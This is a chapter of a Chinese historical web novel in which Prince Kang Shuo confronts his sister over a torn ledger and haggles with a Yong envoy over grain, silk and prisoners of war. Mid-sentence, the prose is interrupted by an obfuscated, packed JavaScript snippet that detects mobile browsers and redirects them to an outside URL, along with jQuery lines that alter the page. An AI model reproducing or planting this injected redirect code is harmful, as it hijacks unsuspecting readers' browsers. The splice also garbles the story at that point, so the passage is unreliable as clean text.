康朔调教人是有一手的,向来是恩威并施、御下有术。再桀骜不驯的性子,到了他手里,也终会被磨得棱角尽失,服服帖帖。
可若因此便说他严苛暴戾,那实在是天大的冤枉。
就像今日,宫苑之中闹出这么骇人的事,他也只是气恼众人办事不力,乱了章程,并未当真责罚他们。就连那个言辞直愣愣的、险些捅破窗户纸的侍卫,也只是挨了句呵斥。
可唯独两样是碰不得的,一旦触及,他绝不会轻易饶恕。其一,是他的权威;其二,便是最疼爱的妹妹康缇。
有意思的是,他最爱的妹妹要挑战他的权威。这无异于用最爱的匕首,往自己心尖上捅。
是他以一己之力,扛起了风雨飘摇的西康,在群狼环伺中艰难跋涉,才赢得今日这番局面。也是他,既当兄长又似父君,穷尽心血,将粉团似的妹妹,一点一点娇养长大。
康缇自小便享尽了人间至宠。宫里的稀罕物,永远先紧着她挑;她想要的,也从未落空过;便是偶尔任性闯了祸,哪怕再大的麻烦,也是康朔默默地挡在前面,全力庇护,不舍得让她受半点委屈。
可他心里,何尝没有委屈?
这天下公主的姻缘,哪一个不是国事,哪一个不是由君王做主?他经年累月倾注的疼爱、庇护、纵容,难道就抵不过这一点代价么?况且康缇嫁给大雍皇帝,直接封妃,尊荣无比,也不算委屈了她?
……
此刻,康朔看着眼前面无表情的妹妹,一阵钝痛从心口传来,迅速蔓延到全身。他极力压制住情绪,双手紧紧攥着康缇的肩头,一步步逼近,咬牙切齿地追问,就想知道她到底有没有良心。
终于,康缇的后背抵上了廊柱,退无可退。康朔却仍不撒手,用压抑又颤抖的声音问:“你究竟,想要我怎样?”
康缇抬眸,静静地看着王兄。半晌,那死水般平静的脸,终于有了变化。她眨了眨眼,一颗泪珠毫无征兆地滚落,划过苍白的脸颊。
康朔心头猛地一紧,下意识地松开了手,紧绷的语气也稍稍缓和:“赶紧回去。”
可康缇并没有离开,她抬起手,轻轻擦去眼角的泪珠,随即从怀中摸出一本皱皱巴巴的小册子,递到康朔眼前。
康朔一把夺来,急速翻看。这是石勒赫的私账,记着他经手处理的雍地财物、售得银钱数目,以及给拓跋弘的提点。
看完后,他猛地抬头,凌厉的目光死死盯住康缇:“你将此物带来做甚?”
康缇又恢复了平静的表情,还努了努嘴,漫不经心地抽回账本,在康朔惊愕的注视下,两手一分,将这小册子撕了。
“嗤啦——”
“嗤啦——”
……
三两下,账册被撕个半碎。
康缇随手一扬,那些纸片便随着时起时落的风,飘散而去,落了一地。
她仰头看着那些飘散的碎片,嘴角慢慢勾起,露出得意的微笑。
而康朔就那样定定地看着她,看着她一举一动间,分明都在刻意撩拨他胸腔里的怒火。
“很好玩,是么?”他声音压得很低,像深谷里的回响,“你知道我今日要与严修明交涉战俘之事,更知道他怀疑西康与各部私下分了抢来的财物,但苦于没有证据,谈判时占不到半分便宜。所以,你今日特意准备了这出戏,就是想借他雍使的身份对付我,对么?”
康缇从容地笑着,甚至俏皮地努起嘴,摇了摇头。
康朔也笑了,笑得阴冷。
“我说错了?”他往前逼近半步,声音比方才更沉,“我不可能错!你觉得雍使能压我一头,便用这样的方式告诉严修明,他们的怀疑没错,人证物证也都是存在的。可你不想背个‘吃里扒外’的名声,便搞出这么大动静销毁证据,替你王兄我保留了点转圜的余地。对么?”
康缇脸上的笑容,随着他一句句剖析,慢慢消失。
而康朔捕捉到她脸上微妙的变化,言语间更加得意:“呵,就说我不可能错。我是你王兄,太了解你了。”
他顿了下,帮康缇理了理额角的碎发:“缇儿,你可真让我开了眼了。为兄头一次见,有人能将‘此地无银三百两’玩得这么高明。可这也是最蠢的招数。我早教过你,凡事最忌首鼠两端,心慈手软。你若真想毁人,要么不出手,要出手就做得彻底些。”
被看穿了心思,康缇有些紧张,有些羞愤。她一把推开康朔,转身便要离开。可走了没几步,却又被康朔拉住。
“别急着走啊,”康朔的声音从身后传来,带着几分癫狂,“王兄再教你一次。”
说罢,他强行拽着康缇,硬是将她拖回庭院中央,想当着严修明的面将此事分说清楚。
他冷嗤一声,指着地上那些账册碎片,对康缇冷声道:“你惹的祸,自己收拾。给我一片片捡起来,整理好,拿到楼上去。你亲自交给严修明!”
说完,便不再看她,拂袖上楼。
席面上的残羹冷炙被撤下,换上了一桌新酒新菜。
而严修明声色平淡,“康王,叙旧也叙了,现下该谈正事了。都谈妥了,我也好回去交差。”
说罢,他摊掌请康朔回到主位,自己则在对面,正襟危坐,目光平视,神色端重,一副公事公办的架势。
不过,康朔也做好了准备,开门见山道:“严正使,事到如今,本王也不愿再作遮掩了。正如你所知,西康与各部之间,常有皮毛玉石交易,为此专设榷场司管辖,司监便是拓跋弘。谁料此人利欲熏心,贪得无厌,竟敢勾结乌护、斜律等部,收购从贵朝边镇劫掠的财物,再经由石勒赫这等市井牙郎高价转卖,自己从中牟利。”
“哦,竟是这样?”严修明眉头微挑,不置可否,只静待下文。
康朔的语气则愈发沉痛激愤:“此等蠹虫,欺上瞒下,败坏我西康法度纲纪,险些损害你我两国邦交和睦,着实可恨!说起来,也是本王驭下不严,竟让此等败类苟活至今,实在愧对陛下圣恩!不过,请严正使放心,本王即刻下令,彻查榷场司。凡经拓跋弘之手售出、源自贵朝的财物,一旦追回,必当悉数奉还。”
一番话说得义正辞严,情真意切。若非严修明深知其为人,只怕真要信上三分了。
“康王倒也不必如此麻烦。”严修明神色淡然,语气平和,“我大雍地大物博,不缺那点零散财物。康王若能追回,也不必千里迢迢送还了。”
一听到“不必送还”,康硕眉头舒展,稍稍松了口气。
可紧接着,严修明又慢悠悠地补充道:“全数抵了那十万石粮和五万匹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062463|195086||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绢吧。”
“这……这如何能相抵?”康朔面露难色,“财物追缴尚需时日,且在市井流转一番后,难免有折损遗失。而我西康近来边患频繁,民生多艰,亟须粮食绢帛。追回的那点财物,根本不足以解此燃眉之急。”
“嗯……也是。”严修明微微蹙眉,佯作思忖。片刻后,他又抬眼道,“要不,我调派些雍军精锐前来,助康王追回财物。若是还不够的话,咱们直接杀去乌护和斜律,把他们抢的,都追讨回来。如何?”
康朔闻言,脸色骤然一沉:“严正使此言何意?雍军入我西康地界,这成何体统!你这般说辞,可不像是诚心议事。”
“那康王方才所言,便是诚心议事了?”严修明不疾不徐地反问,“当着我的面,将那牙郎焚作焦炭,眼下生死未卜。想来那位拓跋弘大人的下场,也好不到哪里去。反正修明一介外臣,无权插手贵国内务盘问。那么此事原委究竟如何,自然全凭康王一言裁断。不是么?”
康朔嘴角抿紧,旋即又松开:“此事……原是我这个妹妹。康缇平日乖张顽劣,却也算识大体。她隐约知晓拓跋弘的勾当,又见正使在此,唯恐此事贸然揭开,会损及两国和气,便自作主张,私擒了这牙郎,原想寻机销毁那些腌臜证据,日后再行追责。只是……”
他叹了口气,摆出一副无奈的表情:“她原本是替我分忧,却好心办了糊涂事,今日此举,确实欠妥。方才我已重重斥责于她。两国相交,贵在诚信,岂能行此掩耳盗铃之事?”
“哈哈哈哈……”严修明听罢,竟笑出声来。他也算佩服康朔,甭管事实如何,他总能找到一套恰如其分的说辞,将自己那狼子之心摘得干干净净。
康朔皱眉:“严正使何故笑得如此开怀?”
“康王慧心巧舌,机变无双啊。”严修明稍稍收敛了笑意,可还是一副讥诮的表情,“这番自圆其说的功夫,便是那些巧舌如簧的太监内侍,恐怕也自叹不如啊。”
康朔听出他在揶揄自己,脸色彻底阴沉下来:“严正使此话,是不信本王?”
有些话,点到即可,不必多作解释。
严修明笑了笑,话锋一转:“什么信不信的,既然你我两国为邦交,那不论康王如何解释,修明自然是信的。只是,那十万石粮、五万匹绢,给不了!”
“呵,”康朔冷笑,“那一千战俘,严正使是不要了?”
“要!当然要!”严修明答得斩钉截铁。
“你拿什么要?”
“一万石粮。”
“方才还是一万石粮和一万匹绢呢?”
“此一时彼一时。”
“那抱歉了,一千战俘,一个也别想带走。”
“那修明回去就向陛下请旨,关闭凉州对西康的口岸,一应盐、茶、铁器、绢帛等物,皆改道陇右,经吐谷浑转运。”
……
两人你一言,我一句,讨价还价,句句机锋,都化作刀光剑影,寸步不让。
谈判一时陷入僵局。
片刻后,一阵轻盈的脚步声由远及近,打破了这僵局。
众人侧目,只见康缇手中端着一个黑漆托盘,步履平稳,径直走到康朔身侧。她微微躬身,将托盘略略倾斜。二人瞧见了盘中之物,正是那本被撕碎的账册。